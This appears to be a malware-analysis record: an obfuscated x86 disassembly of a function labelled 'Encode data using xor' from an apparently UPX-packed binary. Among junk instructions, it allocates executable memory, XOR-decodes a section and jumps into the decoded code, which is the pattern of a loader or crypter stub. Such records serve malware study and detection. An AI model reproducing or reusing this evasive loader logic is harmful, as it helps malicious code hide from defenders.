Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x3c009686
dec edi
inc ebx
dec ebx
popal
add edi, 0x8860a6aa
add edi, edi
sub ebx, edi
mov edi, 0
mov esi, ebx
or eax, eax
mov ecx, eax
mov edx, esi
mov eax, ecx
sub ecx, 0xb848225e
mov ebx, edx
add eax, 1
sub eax, ecx
inc edi
dec eax
or ecx, eax
cmp edi, 0x1003fff
jne 0xa789c5
or eax, eax
or eax, ecx
add ebx, 0xe22163fc
and edi, edi
sub ebx, 1
mov edx, 0xa78796
mov ecx, 0x69851468
mov ecx, 0x4f8f376
sub esi, 0x44b519fa
mov eax, 0xa7898a
mov esi, 0x2a717883
sub ecx, esi
and ecx, ecx
mov edi, dword [edx]
and esi, ebx
mov ecx, 0x313a7c2d
and edi, 0xff
add ecx, 0xa1311b8f
add ecx, 1
xor dword [eax], edi
add esi, 0xa9517feb
sub ecx, 0x946b0165
add esi, 0x2fe68346
inc eax
not esi
sub esi, ebx
sub ebx, ecx
inc edx
add ecx, ebx
mov ebx, esi
add ebx, ebx
cmp eax, entry0
jl 0xa78a24
and ebx, esi
mov ebx, ecx
not ebx
add ebx, 0xb0e5c40f
sub esi, ebx
or esi, ebx
not ecx
mov ebx, 0xb801db92
mov edi, 0x93a9c090
mov esi, 0xa7898e
sub edi, ebx
sub edi, 0xd6c19aa2
mov edi, 0x7656de8d
mov esi, dword [esi]
sub ebx, 1
sub ebx, 1
mov esi, dword [esi]
sub edx, 0xfcaf8a24
inc edi
push esi
not edi
add edi, 1
add ebx, 0x2eebc799
mov esi, 0xa7898a
mov ebx, ecx
mov ecx, edx
mov esi, dword [esi]
dec ebx
mov ecx, ebx
sub ecx, 0x81391942
mov esi, dword [esi]
sub ebx, 0x9ee5b61b
not ebx
sub esp, 4
mov dword [esp], 0xa78992
mov ebx, 0x5993657e
add ebx, 1
call esi
not ecx
add edi, 0x750f6338
not edi
pop esi
and ecx, edi
mov edi, 0x810789e7
push 0xa7899f
and ebx, ecx
or ecx, edi
push eax
sub edx, edi
add ecx, edx
call esi
or ecx, ecx
sub ecx, edx
push 0x40
dec edi
inc edx
dec edx
sub esp, 4
mov dword [esp], 0x3000
and edx, ecx
sub ecx, 0xa3f1555e
push 0x200002f9
and edi, ebx
sub edx, 0x9e4e906b
push 0
dec ecx
not edx
add ebx, 0x22b9c95e
call eax
sub ebx, edi
mov ebx, 0x3e9a393b
add eax, 0x20000252
add ecx, 0x45df7c58
dec ebx
mov esi, 0xaf3af328
add ebx, edx
mov ecx, edx
mov dword [eax], esi
add edx, 0x6fce1f5f
not edx
mov esi, dword [eax]
sub ecx, ebx
add ebx, 1
add ecx, 0xa51f6224
cmp esi, 0xaf3af328
je 0xa78b99
mov eax, 0
mov byte [eax], bl
sub edi, edx
mov edi, ecx
and edi, ecx
sub ebx, 0x36fa9604
sub ebx, 0xbd195185
add ebx, edi
mov esi, section.UPX1
sub edi, 0x6309b164
mov edi, 0x9a43acdd
mov eax, 0xa78795
dec edi
not ebx
sub edi, ebx
mov edx, 0
not ebx
sub edi, 0x7f161e1e
mov ecx, 0xa78796
not ebx
sub edi, ebx
add ebx, ebx
lea ecx, [edx + ecx]
inc ebx
not ebx
mov ecx, dword [ecx]
or edi, edi
not ebx
and ecx, 0xff
inc ebx
or edi, ebx
mov ebx, edi
inc edx
mov ebx, 0x21eaf510
mov ebx, 0xc7c21834
cmp edx, 0x1f4
jne 0xa78c0e
mov edx, 0
add edi, 0xa16350c6
inc ebx
inc edi
sub edi, ebx
sub ebx, 0x9200636c
xor dword [esi], ecx
sub edi, ebx
inc edi
mov edi, 0xd25a217f
add esi, 2
inc ebx
mov ebx, edi
cmp esi, eax
jl 0xa78bd4
mov ebx, 0x94b8b1a6
inc ebx
inc edi
or ebx, edi
add edi, edi
mov eax, section.UPX1
add ecx, 0x3ccbe404
and edx, edx
sub ecx, edx
mov edi, section.UPX1
dec ecx
not edx
inc ecx
mov esi, 0xa78795
add edx, ecx
inc edx
mov ebx, 0
add edx, ecx
or edx, edx
mov bl, byte [edi]
add edx, edx
add ecx, 0x18e1a725
sub edx, 1
mov byte [eax], bl
sub ecx, 0xe0d2b77c
not edx
inc edx
inc eax
not ecx
not ecx
and ecx, ecx
add edi, 2
mov ecx, 0x72c91a73
sub edx, 0x4f0c2568
cmp edi, esi
jle 0xa78c6d
sub ecx, 1
dec ecx
sub edx, 0xc5ebd822
mov ebx, 0xc702b1e3
or edi, ebx
sub esp, 4
mov dword [esp], 0x8dc6a0
add ebx, 1
inc edi
ret